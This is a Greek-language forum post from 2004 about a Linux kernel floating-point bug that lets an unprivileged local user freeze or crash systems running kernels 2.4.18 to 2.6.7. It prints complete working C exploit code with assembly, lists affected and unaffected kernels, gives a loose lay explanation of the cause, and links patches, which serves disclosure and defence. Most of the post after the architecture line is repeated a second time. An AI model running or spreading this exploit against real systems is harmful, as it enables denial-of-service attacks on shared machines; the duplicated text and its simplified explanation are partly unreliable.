Alarm
09-07-2004, 05:40
Αν και παει καιρος απο τοτε που πρωτοβγηκαν η εκδοσεις 2.4.2X ανακαλυπτηκε πως υπαρχει σφαλμα το οποιο μπορει να κρασαρει τον kernel καθως και το ολο συστημα se επεξεργαστες με
x86 και x86_64 αρχητεκτονικες. Το προβλημα 'στηριζεται' σε δεκαδικους αρηθμους.
Ακολουθει ο μικρος κωδικας σε γλωσσα C που μπορει να κανει αυτο το κακο.
/* --------------------
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler inline offsets in memory by 4.
* Original proof of concept code
* by stian_@_nixia.no.
* Added some stuff by lorenzo_@_gnu.org
* and fixed the fsave line with (*fpubuf).
* --------------------
*/
/*
---------
Some debugging information made
available by stian_@_nixia.no
---------
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)
#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)
#NO_APP
leave
ret
*/
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
// <<EOF
Kernels που επιρεαζονται:
@Linux 2.6.x
-2.6.7-rc2
-2.6.6 (vanilla)
-2.6.6-rc1 SMP (verified by blaise)
-2.6.6 SMP (verified by riven)
-2.6.6-debian (verified by arturaz)
-2.6.5-gentoo (verified by RatiX)
-2.6.5-mm6 - (verified by Mariux)
-2.6.5 (fedora core 2 vanilla)
-2.6.3-13mdk (Mandrake)
@Linux 2.4.2x
-2.4.26 vanilla
-2.4.26, grsecurity 2.0 config
-2.4.26-rc1 vanilla
-2.4.26-gentoo-r1
-2.4.22
-2.4.22-1.2188 Fedora FC1 Kernel
-2.4.20 RH7.3 (gcc 2.96)
-2.4.18-bf2.4 (debian woody vanilla)
Στα log του συστηματος δεν καταχωρειται τιποτα απολυτος.
Το σφαλμα που δεχεστε ειναι Floating point exception
Εκδοσεις που δεν ειχαν προβλημα ηταν η εξεις.
-Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
-Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
-Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
-Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
-Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
-2.2.19-kernel .
Πως λοιπον γινεται ολο αυτο:
Χριαζεται μονο ενας απλος λογαριασμος με shell ωστε να μπορει να τρεξεται το προγραμμα. Root δεν ειναι απαραιτητο.
Τι ακρηβως γινεται:
Το προγραμματακι βασιζεται στους δεκαδικους αρηθμους και στο οτι δεν αναγνοριζονται απο τους παραπανο kernels το οποιο οφειλεται σε μια Assembler εσφαλμενη εντολη. Αποτελεσμα να πευτει το συστημα σε ενα ατελες κυκλο (infinite loop). Οπως προανεφερα ο kernel δεν μπορει να επεξεργαστει δεκαδικους αρηθμους με αποτελεσμα οταν ερθει αυτη η περιπτωση να περνει το 100% της υσχης του επεξεργαστη με αποτελεσμα το συστημα να παγωνει.
Λυσεις:
Μπορειτε να βρειτα Patch για 2.4.2x Kernels, x86 και x86_64
--Για2.4.2x,x86: http://linux.bkbits.net:8080/linux2.4/gnupatch@40cdf6f8V7sOe5n96HA5Q7r9uDRvJQ
--Για x86-64: http://tomt.net/kernel/clear_fpu/
http://www.linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
Μπορειτε να βρειτα Patch για 2.6.xx Kernels, x86 και x86_64
--Για 2.6.x, x86: http://linux.bkbits.net:8080/linux-2.6/gnupatch@40cbb80fOHy9vCWmfUx3PVJBWei0Hw
--Για 2.6.x, x86_64: http://linux.bkbits.net:8080/linux-2.6/gnupatch@40cc5701-6qILlm9hOf5BaiXkR-yFg
x86 και x86_64 αρχητεκτονικες. Το προβλημα 'στηριζεται' σε δεκαδικους αρηθμους.
Ακολουθει ο μικρος κωδικας σε γλωσσα C που μπορει να κανει αυτο το κακο.
/* --------------------
* frstor Local Kernel exploit
* Crashes any kernel from 2.4.18
* to 2.6.7 because frstor in assembler inline offsets in memory by 4.
* Original proof of concept code
* by stian_@_nixia.no.
* Added some stuff by lorenzo_@_gnu.org
* and fixed the fsave line with (*fpubuf).
* --------------------
*/
/*
---------
Some debugging information made
available by stian_@_nixia.no
---------
TakeDown:
pushl %ebp
movl %esp, %ebp
subl $136, %esp
leal -120(%ebp), %eax
movl %eax, -124(%ebp)
#APP
fsave -124(%ebp)
#NO_APP
subl $4, %esp
pushl $1
pushl $.LC0
pushl $2
call write
addl $16, %esp
leal -120(%ebp), %eax
movl %eax, -128(%ebp)
#APP
frstor -128(%ebp)
#NO_APP
leave
ret
*/
#include <sys/time.h>
#include <signal.h>
#include <unistd.h>
static void TakeDown(int ignore)
{
char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, TakeDown);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);
return 0;
}
// <<EOF
Kernels που επιρεαζονται:
@Linux 2.6.x
-2.6.7-rc2
-2.6.6 (vanilla)
-2.6.6-rc1 SMP (verified by blaise)
-2.6.6 SMP (verified by riven)
-2.6.6-debian (verified by arturaz)
-2.6.5-gentoo (verified by RatiX)
-2.6.5-mm6 - (verified by Mariux)
-2.6.5 (fedora core 2 vanilla)
-2.6.3-13mdk (Mandrake)
@Linux 2.4.2x
-2.4.26 vanilla
-2.4.26, grsecurity 2.0 config
-2.4.26-rc1 vanilla
-2.4.26-gentoo-r1
-2.4.22
-2.4.22-1.2188 Fedora FC1 Kernel
-2.4.20 RH7.3 (gcc 2.96)
-2.4.18-bf2.4 (debian woody vanilla)
Στα log του συστηματος δεν καταχωρειται τιποτα απολυτος.
Το σφαλμα που δεχεστε ειναι Floating point exception
Εκδοσεις που δεν ειχαν προβλημα ηταν η εξεις.
-Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
-Linux Kernel 2.6.4 SMP patched with staircase scheduler Guille
-Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
-Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2)
-Linux Kernel 2.4.25-gentoo-r1 Charles A. Haines (3G Publishing)
-2.2.19-kernel .
Πως λοιπον γινεται ολο αυτο:
Χριαζεται μονο ενας απλος λογαριασμος με shell ωστε να μπορει να τρεξεται το προγραμμα. Root δεν ειναι απαραιτητο.
Τι ακρηβως γινεται:
Το προγραμματακι βασιζεται στους δεκαδικους αρηθμους και στο οτι δεν αναγνοριζονται απο τους παραπανο kernels το οποιο οφειλεται σε μια Assembler εσφαλμενη εντολη. Αποτελεσμα να πευτει το συστημα σε ενα ατελες κυκλο (infinite loop). Οπως προανεφερα ο kernel δεν μπορει να επεξεργαστει δεκαδικους αρηθμους με αποτελεσμα οταν ερθει αυτη η περιπτωση να περνει το 100% της υσχης του επεξεργαστη με αποτελεσμα το συστημα να παγωνει.
Λυσεις:
Μπορειτε να βρειτα Patch για 2.4.2x Kernels, x86 και x86_64
--Για2.4.2x,x86: http://linux.bkbits.net:8080/linux2.4/gnupatch@40cdf6f8V7sOe5n96HA5Q7r9uDRvJQ
--Για x86-64: http://tomt.net/kernel/clear_fpu/
http://www.linuxreviews.org/news/2004-06-11_kernel_crash/24_kernel_ia32-and-x86_64-fix-fpu-state.patch.txt
Μπορειτε να βρειτα Patch για 2.6.xx Kernels, x86 και x86_64
--Για 2.6.x, x86: http://linux.bkbits.net:8080/linux-2.6/gnupatch@40cbb80fOHy9vCWmfUx3PVJBWei0Hw
--Για 2.6.x, x86_64: http://linux.bkbits.net:8080/linux-2.6/gnupatch@40cc5701-6qILlm9hOf5BaiXkR-yFg